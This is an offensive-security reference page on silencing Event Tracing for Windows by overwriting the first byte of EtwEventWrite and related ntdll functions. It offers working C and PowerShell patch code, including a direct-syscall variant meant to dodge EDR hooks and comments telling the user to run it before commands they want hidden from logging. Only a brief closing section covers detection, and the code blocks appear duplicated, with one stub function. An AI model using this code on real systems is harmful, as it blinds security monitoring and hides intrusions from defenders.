ETW Patching & Disabling
Overview
Event Tracing for Windows (ETW) is the operating system’s high-performance logging subsystem. Security products — EDRs, Windows Defender, AMSI providers, and Sysmon — rely on ETW providers to receive telemetry about process activity (memory allocations, module loads, network connections, PowerShell script execution). Disabling ETW in the current process cuts off this telemetry at the source.
The most common approach is patching EtwEventWrite in ntdll: this is the single function that all ETW providers call to submit events. Replacing its first byte with 0xC3 (the ret instruction) causes all ETW writes to return immediately without submitting any event — silencing the current process’s contribution to every ETW session simultaneously.
The same technique applies to EtwEventWriteFull, NtTraceEvent, and provider-specific functions.
ETW patching is a common technique that modern EDRs detect specifically. Many products
monitor ntdll memory integrity and alert when EtwEventWrite is patched. The patch itself
is highly detectable: a single ret byte at the start of a normally multi-byte ntdll function
is not a legitimate state. Consider more targeted alternatives like ETW session disabling
or provider-level unregistration if stealth is critical.
The call chain
- 1resolve EtwEventWrite in ntdllGetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite") returns the address of the ETW dispatch function.
- 2VirtualProtect(PAGE_READWRITE) on the function prologueThe ntdll .text section is normally read-only/execute; make it writable to allow patching.
- 3overwrite the prologue with a ret instructionWrite 0xC3 (RET) as the first byte of EtwEventWrite — all ETW calls in the current process return immediately without writing events.
- 4restore PAGE_EXECUTE_READRestore the original page protection to avoid the RW+X combination that triggers memory scanners.
Reference implementation
Single-byte ETW patch (C)
#include <windows.h>
// Patch EtwEventWrite in ntdll to immediately return (ret).
// After this call, all ETW events from the current process are silenced.
BOOL etw_patch(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE *etw_fn = (BYTE*)GetProcAddress(ntdll, "EtwEventWrite");
if (!etw_fn) return FALSE;
DWORD old_protect;
if (!VirtualProtect(etw_fn, 1, PAGE_READWRITE, &old_protect))
return FALSE;
*etw_fn = 0xC3; // ret
VirtualProtect(etw_fn, 1, old_protect, &old_protect);
return TRUE;
}
// Variant: also patch EtwEventWriteFull and NtTraceEvent
BOOL etw_patch_all(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
const char *targets[] = {
"EtwEventWrite",
"EtwEventWriteFull",
"EtwEventWriteEx",
"NtTraceEvent",
NULL
};
for (int i = 0; targets[i]; i++) {
BYTE *fn = (BYTE*)GetProcAddress(ntdll, targets[i]);
if (!fn) continue;
DWORD old;
VirtualProtect(fn, 1, PAGE_READWRITE, &old);
*fn = 0xC3;
VirtualProtect(fn, 1, old, &old);
}
return TRUE;
}#include <windows.h>
// Patch EtwEventWrite in ntdll to immediately return (ret).
// After this call, all ETW events from the current process are silenced.
BOOL etw_patch(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE *etw_fn = (BYTE*)GetProcAddress(ntdll, "EtwEventWrite");
if (!etw_fn) return FALSE;
DWORD old_protect;
if (!VirtualProtect(etw_fn, 1, PAGE_READWRITE, &old_protect))
return FALSE;
*etw_fn = 0xC3; // ret
VirtualProtect(etw_fn, 1, old_protect, &old_protect);
return TRUE;
}
// Variant: also patch EtwEventWriteFull and NtTraceEvent
BOOL etw_patch_all(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
const char *targets[] = {
"EtwEventWrite",
"EtwEventWriteFull",
"EtwEventWriteEx",
"NtTraceEvent",
NULL
};
for (int i = 0; targets[i]; i++) {
BYTE *fn = (BYTE*)GetProcAddress(ntdll, targets[i]);
if (!fn) continue;
DWORD old;
VirtualProtect(fn, 1, PAGE_READWRITE, &old);
*fn = 0xC3;
VirtualProtect(fn, 1, old, &old);
}
return TRUE;
}PowerShell ETW patch (script-block logging bypass)
# Patch EtwEventWrite in the current PowerShell process.
# This prevents script-block logging (EID 4104) from capturing subsequent commands.
# Run BEFORE the commands you want to hide — the patch affects only this session.
$patch = [Byte[]](0xC3) # ret
$etw_fn = [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(
[Func[string, IntPtr]] { param($name) [System.Diagnostics.Process]::GetCurrentProcess() } `
# Alternative: resolve via P/Invoke
)
# Via P/Invoke reflection:
Add-Type -TypeDefinition @'
using System;
using System.Runtime.InteropServices;
public class EtwPatch {
[DllImport("kernel32")] public static extern bool VirtualProtect(
IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(
IntPtr hModule, string procName);
[DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string name);
public static void Patch() {
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr fn = GetProcAddress(ntdll, "EtwEventWrite");
uint old;
VirtualProtect(fn, (UIntPtr)1, 0x40, out old); // PAGE_EXECUTE_READWRITE
Marshal.WriteByte(fn, 0, 0xC3);
VirtualProtect(fn, (UIntPtr)1, old, out old);
}
}
'@
[EtwPatch]::Patch()
Write-Host "[+] ETW patched in current session"# Patch EtwEventWrite in the current PowerShell process.
# This prevents script-block logging (EID 4104) from capturing subsequent commands.
# Run BEFORE the commands you want to hide — the patch affects only this session.
$patch = [Byte[]](0xC3) # ret
$etw_fn = [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(
[Func[string, IntPtr]] { param($name) [System.Diagnostics.Process]::GetCurrentProcess() } `
# Alternative: resolve via P/Invoke
)
# Via P/Invoke reflection:
Add-Type -TypeDefinition @'
using System;
using System.Runtime.InteropServices;
public class EtwPatch {
[DllImport("kernel32")] public static extern bool VirtualProtect(
IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(
IntPtr hModule, string procName);
[DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string name);
public static void Patch() {
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr fn = GetProcAddress(ntdll, "EtwEventWrite");
uint old;
VirtualProtect(fn, (UIntPtr)1, 0x40, out old); // PAGE_EXECUTE_READWRITE
Marshal.WriteByte(fn, 0, 0xC3);
VirtualProtect(fn, (UIntPtr)1, old, out old);
}
}
'@
[EtwPatch]::Patch()
Write-Host "[+] ETW patched in current session"ETW via NtProtectVirtualMemory (direct syscall variant)
// Patch EtwEventWrite using direct syscalls to bypass VirtualProtect hooks.
// Avoids the VirtualProtect API call that EDRs watch for.
// Requires a direct/indirect syscall stub for NtProtectVirtualMemory.
// Assumes:
// NtProtectVirtualMemory_direct(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG) is available
extern NTSTATUS NtProtectVirtualMemory_direct(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect);
BOOL etw_patch_via_syscall(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE *fn = (BYTE*)GetProcAddress(ntdll, "EtwEventWrite");
if (!fn) return FALSE;
PVOID base = fn;
SIZE_T sz = 1;
ULONG old;
NTSTATUS st = NtProtectVirtualMemory_direct(
GetCurrentProcess(), &base, &sz, PAGE_READWRITE, &old);
if (st) return FALSE; // nonzero NTSTATUS = failure
*fn = 0xC3;
NtProtectVirtualMemory_direct(
GetCurrentProcess(), &base, &sz, old, &old);
return TRUE;
}// Patch EtwEventWrite using direct syscalls to bypass VirtualProtect hooks.
// Avoids the VirtualProtect API call that EDRs watch for.
// Requires a direct/indirect syscall stub for NtProtectVirtualMemory.
// Assumes:
// NtProtectVirtualMemory_direct(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG) is available
extern NTSTATUS NtProtectVirtualMemory_direct(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect);
BOOL etw_patch_via_syscall(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE *fn = (BYTE*)GetProcAddress(ntdll, "EtwEventWrite");
if (!fn) return FALSE;
PVOID base = fn;
SIZE_T sz = 1;
ULONG old;
NTSTATUS st = NtProtectVirtualMemory_direct(
GetCurrentProcess(), &base, &sz, PAGE_READWRITE, &old);
if (st) return FALSE; // nonzero NTSTATUS = failure
*fn = 0xC3;
NtProtectVirtualMemory_direct(
GetCurrentProcess(), &base, &sz, old, &old);
return TRUE;
}ETW session-level disabling (provider unregistration)
Patching the function affects all ETW events globally. A more surgical approach is unregistering a specific ETW provider from the current process:
#include <windows.h>
#include <evntprov.h>
#pragma comment(lib, "advapi32.lib")
// Unregister a specific ETW provider GUID from the current process.
// Other providers remain active; only this provider's events are silenced.
// Useful for disabling the PowerShell ETW provider while leaving AMSI-ETW intact.
// {A0C1853B-5C40-4B15-8766-3CF1C58F985A} — Windows PowerShell provider
static const GUID PS_ETW_GUID = {
0xA0C1853B, 0x5C40, 0x4B15,
{0x87, 0x66, 0x3C, 0xF1, 0xC5, 0x8F, 0x98, 0x5A}
};
void disable_ps_etw_provider(void) {
// Find the provider handle by scanning the process's ETW registration table.
// Alternative: enumerate _ETWP_REGISTRATION structures in the process.
// The blunt approach: patch the provider's callback to a no-op.
// Simplified: use EventUnregister on any handle we can enumerate.
// In practice this requires walking internal ntdll data structures.
// Most implementations fall back to patching EtwEventWrite.
(void)PS_ETW_GUID;
}#include <windows.h>
#include <evntprov.h>
#pragma comment(lib, "advapi32.lib")
// Unregister a specific ETW provider GUID from the current process.
// Other providers remain active; only this provider's events are silenced.
// Useful for disabling the PowerShell ETW provider while leaving AMSI-ETW intact.
// {A0C1853B-5C40-4B15-8766-3CF1C58F985A} — Windows PowerShell provider
static const GUID PS_ETW_GUID = {
0xA0C1853B, 0x5C40, 0x4B15,
{0x87, 0x66, 0x3C, 0xF1, 0xC5, 0x8F, 0x98, 0x5A}
};
void disable_ps_etw_provider(void) {
// Find the provider handle by scanning the process's ETW registration table.
// Alternative: enumerate _ETWP_REGISTRATION structures in the process.
// The blunt approach: patch the provider's callback to a no-op.
// Simplified: use EventUnregister on any handle we can enumerate.
// In practice this requires walking internal ntdll data structures.
// Most implementations fall back to patching EtwEventWrite.
(void)PS_ETW_GUID;
}Detection
The most reliable automated detection is ntdll integrity monitoring: compare the in-memory bytes of EtwEventWrite against the on-disk ntdll bytes. A 0xC3 at offset 0 is definitively a patch. Sysmon 13+ process-tamper events (EID 25) can detect this without custom tooling. EDRs that hook VirtualProtect on ntdll pages will also catch the write before it happens.